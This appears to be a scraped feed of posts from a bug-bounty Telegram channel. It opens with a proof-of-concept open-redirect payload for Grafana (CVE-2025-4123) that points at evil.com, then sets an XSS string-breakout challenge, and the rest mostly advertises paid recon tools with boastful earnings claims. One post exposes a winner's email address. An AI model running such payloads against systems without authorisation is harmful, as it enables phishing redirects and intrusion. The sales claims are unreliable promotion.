🚨 New CVE PoC Grafana Open Redirect (CVE-2025-4123)

A new Open Redirect vulnerability was identified in Grafana, and if you come across a Grafana login page during recon, make sure to test this payload 👇

🔑 PoC Payload:

/public/..%2F%5Cevil.com%2F%3F%2F..%2F..

🛠 How to Test:
Target the login page:

https://target[.]com/login

Use the payload like this:

https://target[.]com/public/..%2F%5Cevil.com%2F%3F%2F..%2F..

If the instance is outdated or vulnerable, it will trigger a direct Open Redirect to your external domain.

📌 CVE: CVE-2025-4123
A fresh bug worth checking on any Grafana instance you encounter.

---

🔥 Want tools that help you discover bugs like this much faster?
Join our Telegram community:
👉 https://t.me/kassems94

To subscribe to Secret Hunter Tool, contact me directly:
👉 https://t.me/apesofficial

💎 DEP_HUNTER: The Unfair Advantage.

Top bug hunters don't use the same tools as everyone else. They use custom, private tech. Now, you can too.

DEP_HUNTER runs on a Proprietary Detection Engine that we developed from scratch. It doesn't just scrape; it digs deep using logic you won't find in public GitHub repos. 🤫

🛡 The "Black Box" Promise:
We keep the methodology secret to keep the method effective. You just input the domain, and the tool handles the complex hunting logic.

🚀 Why Pre-order?
Be among the exclusive group to wield this private logic before the price doubles.

💵 Early Bird: $100 [Lifetime Access]
🚫 Launch Price: $200

👇 Get your edge here:
https://t.me/apesofficial

### 🎉 Winner Announcement for the Monthly Subscription Giveaway! 🎉

We have officially concluded the draw, and we are excited to announce the lucky winner of a free 1-Month Subscription (drawn from the $2 Offer entrants):

🏆 The Winner is:
husseinkt100@gmail.com

Congratulations! 🎉

---

### 🔔 Action Required by the Winner:

Please contact us directly on Telegram via the handle @apesofficial to claim and activate your full month's free subscription!

---

### 🚨 Important Update: The $2 Offer is Temporarily Paused 🚨

Thank you for the overwhelming response to our trial offer!

The $2 Trial Offer (24 hours full access + giveaway entry) is now temporarily paused. We may run this promotion again in the future, so please keep monitoring this channel for updates!

Thank you for your patience and understanding.

For Credibility a out the last draw: Check our latest winner's post on X!
👉 https://x.com/hussein_kt100/status/1992991815457247521?t=gdGJ-cbcDeVLC6fPyTJV0g&s=19

---

🔥 *MEGA BOUNTIES AWAIT!* 🔥
with SECRET HUNTER by @kassem_s94

Unlock your full potential in #BugBounty & #CyberSecurity with our enterprise-grade tool!

✅ Comprehensive Key & Secret Discovery & Recon
✅ Automatic Firebase POC Generator

---

💰 Our Users Win BIG! 💰
Ready to turn vulnerabilities into huge rewards?

---

📈 LIMITED TIME OFFER: Premium Access 📈
* MONTHLY: $20
* 6 MONTHS: $100
* YEARLY: $150 [Limited time offer]

---

🚀 JOIN NOW! 🚀
👉 MESSAGE @apesofficial

P.S. Our users are consistently earning $3000+ PER Critical Vulnerability found with Secret Hunter! Don't miss out!

#Pentesting #RedTeam #OSINT #Hacker

🔥 New milestone in my bug bounty journey!
A new CVE has just been assigned under my name:

CVE-2025-55129

It’s currently in RESERVED state, and the full advisory will be published soon — but the disclosure is officially recognized.

Sharing it here because this channel is all about real-world findings, insights, and tools that help you level up your bug bounty skills. 💪🚀

Stay tuned — more tips, tools, and hunting strategies coming your way.

Report & Post:

https://x.com/disclosedh1/status/1993688736274510295?t=tQf-wRhKpgckyLbkM4llng&s=19

🔥 XSS Challenge (Medium) — Giveaway on @kassems94 🔥

Ready, hunters? 😈
Today’s challenge is a Medium XSS inside a JavaScript string.

---

## 🕵️‍♂️ Scenario
The target page:

https://target.com/search?q=
Your input appears inside:

<script>
var q="{{user_query}}";
document.getElementById("result").innerText=q;
</script>
Filters applied:
- <script>, <img>, <svg>, <iframe> blocked
- < → &lt;
- Event handlers stripped (onerror, onload, etc.)

JS string breakout is still possible 😈

---

## 🎯 Your Task
Create a working XSS payload that:

- Breaks out of the JS string

- Executes: alert(document.domain)

- Uses no HTML tags

---

## 🎁 Reward
🎉 Free 48h access to one private cybersecurity tool.

---

## 📢 To Enter the Giveaway

1️⃣ Share this challenge on X (Twitter)

2️⃣ Mention @kassem_s94

3️⃣ Send me on Telegram @apesofficial:
- Your payload

- Your email

- Screenshot proving your post on X

Good Luck🔥🚀

🔥 Stop Wasting Time! Secret Hunter is not a search tool... it's a discovery engine! 🔥

IRREFUTABLE PROOF:

One of our customers activated a 30-day Secret Hunter key, and in less than 24 hours... they discovered a CRITICAL VULNERABILITY related to BANKING assets! (See the attached screenshot).

---

### Why are our users getting these instant results?

* ✅ Advanced Recon: Precise extraction of Endpoints and Keys from source code and JavaScript files.

* ✅ Secret Hunting: Comprehensive scanning with 65+ patterns for all major Cloud services and APIs.

* ✅ Strong Roadmap: We are actively developing the Live Validation feature to confirm key exploitability instantly.

### Today's Price is Your Opportunity!

💰 CURRENT PRICE: $20/mo or 200$/year

⚠️ ALERT: Due to high demand and continuous upgrades, the price will increase very soon!

Don't wait for the price hike. Get your key now:
https://t.me/apesofficial

🚨 Important Update 🚨

I’ve created a backup Telegram channel to make sure we stay connected no matter what happens to the main one.

✔️ Make sure to join it now:
👉 https://t.me/kassems94_v2

Main channel: @kassem_s94
Backup channel above , make sure to jump in 😉

Thank you all for the support ❤️

🚀 Another satisfied customer just joined the community!

Today, a new client completed a 200 USDT payment and instantly received a lifetime bundle of my private cybersecurity tools.

Here’s what they unlocked:
- ✔️ SSRFStorm Toolkit
- ✔️ Salesforce Aurora

These tools are built for security researchers, bug bounty hunters, and pentesters who want to move faster, automate more, and discover vulnerabilities with higher accuracy.

If you’re looking to upgrade your workflow and add powerful, field-tested tools to your arsenal, feel free to reach out.

📩 Send me a message https://t.me/apesofficial

🚨 My CVE Is Finally Published!
CVE-2025-55129 is now officially live on the NVD.

After weeks of analysis and coordination, the vulnerability I discovered in Revive Adserver has been confirmed , and I’m proud to share that this flaw could have impacted over 1–10 MILLION users indirectly, through ad-delivery chains used across thousands of installations worldwide.

Knowing that my research helped protect this huge number of users feels incredible.
This is exactly why security research matters.

If you’re into:
- Web security & exploitation
- Tips on hardening your systems
- Exclusive tools
- Real-world bug hunting insights

Then join my Telegram channel , I share everything there:

👉 https://t.me/kassems94

DM:
💁‍♂️https://t.me/apesofficial

Stay safe, and always stay curious. 🔥
https://www.cve.org/CVERecord?id=CVE-2025-55129

#bugbounty
#bughunting
#hacking
#hackers
#cve

💰Bounty: 3000$+
🚨 A TOP researcher using My Secret Hunter tool, just scored a CRITICAL on HackerOne!

The tool detected exposed API/Secret Keys in a public JS file, even the hunter didn’t know they existed 🔥

Secret Hunter = fast & accurate detection.

Dm for subs: t.me/apesofficial

Join our community: t.me/kassems94

#bugbounty
#bughunter
#bughunting
#hackers
#hacking
#secrethunter_by_kassem_s94

💰 €500 Bounty Earned thanks to Secret-Hunter! 🚀

A few days ago, my tool helped me discover a Critical (9.1) vulnerability 🔥

🐞 Using the “API PATH” tag inside Secret-Hunter (which extracts endpoints)

⚡ I chained the exposed endpoint with a response manipulation trick

➡️ Result: Full access to the Admin API Dashboard 😎

So yes… Secret-Hunter isn’t just a secret finder 👀
It’s a string-based recon powerhouse that reveals:
🔹 Endpoints (API PATHs)
🔹 Secrets
🔹 Sensitive parameters & more…
Leading to high-impact, money-making bugs 💸

Wanna hunt bugs that PAY?

Order Now 20$/mo only 👉
📩 https://t.me/apesOfficial

## 🛍️ Black Friday: 20% Off on All Tools & Book!

🎉 Get 20% off for Black Friday on all our cybersecurity tools + the book!

### 🔧 Tools

- Secret Hunter
*Secret key finder*
- Monthly: $20 → $16
- 6-Month: $100 → $80
- Yearly: $150 → $120

- XOXO (with recon.sh)
*Auto recon + XSS scanner*
- Monthly: $20 → $16
- 6-Month: $100 → $80
- Yearly: $150 → $120

- Cash Poisoner Pro
*Cache poisoning tool*
- Lifetime: $100 → $80

- SSRFStorm
*Advanced SSRF scanner*
- Lifetime: $100 → $80

- Aurora
*Salesforce API misconfig finder*
- Lifetime: $100 → $80

- DepHunter
*Dependency confusion detector*
- Lifetime: $100 → $80

### 📘 Book

- 3 Bugs That Pay (v1)
*Bug bounty techniques*
- Price: $30 → $24

🔥 Don’t miss this limited Black Friday sale!

---

📩 Contact or subscribe via Telegram: [@apesofficial](https://t.me/apesofficial)

🚨16 Hours Left🚨

💰Grab your tools now💰

Message me now:
https://t.me/apesofficial

⚠️Due to the many questions and in order to benefit as many as possible from this offer, the deadline will be extended to an additional 24 hours.

💁‍♂️Dont be late and contact me now at https://t.me/apesofficial

🚨 New Findings Using Secret Hunter! 🚨

Today, using my tool Secret Hunter, I was able to discover:

- 🔴 A PII Exposure vulnerability inside a public .js file
- 🟡 Two Broken Social Links issues that could lead to social media account impersonation (easy wins but valuable! 🤑)

This proves again that Secret Hunter is not just a secret finder —
🔥 It also helps with recon and uncovering hidden & impactful vulnerabilities!

---

🎯 Secret Hunter is currently on SALE for just $16/month
⏳ The price will increase soon — don’t miss out!

📩 Contact me to get your copy:
➡️ https://t.me/apesofficial

📢 Join my Telegram channel for more findings, exclusive offers & tips:
➡️ https://t.me/kassems94

Keep Hacking 🔍✨

🚨 Other New Findings Using Secret Hunter! 🚨

Today, using my tool Secret Hunter, I was able to discover:

- 🔴 A PII Exposure vulnerability inside a public .js file

This proves again that Secret Hunter is not just a secret finder —
🔥 It also helps with recon and uncovering hidden & impactful vulnerabilities!

---

🎯 Secret Hunter is currently on SALE for just $16/month
⏳ The price will increase soon — don’t miss out!

📩 Contact me to get your copy:
➡️ https://t.me/apesofficial

📢 Join my Telegram channel for more findings, exclusive offers & tips:
➡️ https://t.me/kassems94

Keep Hacking 🔍✨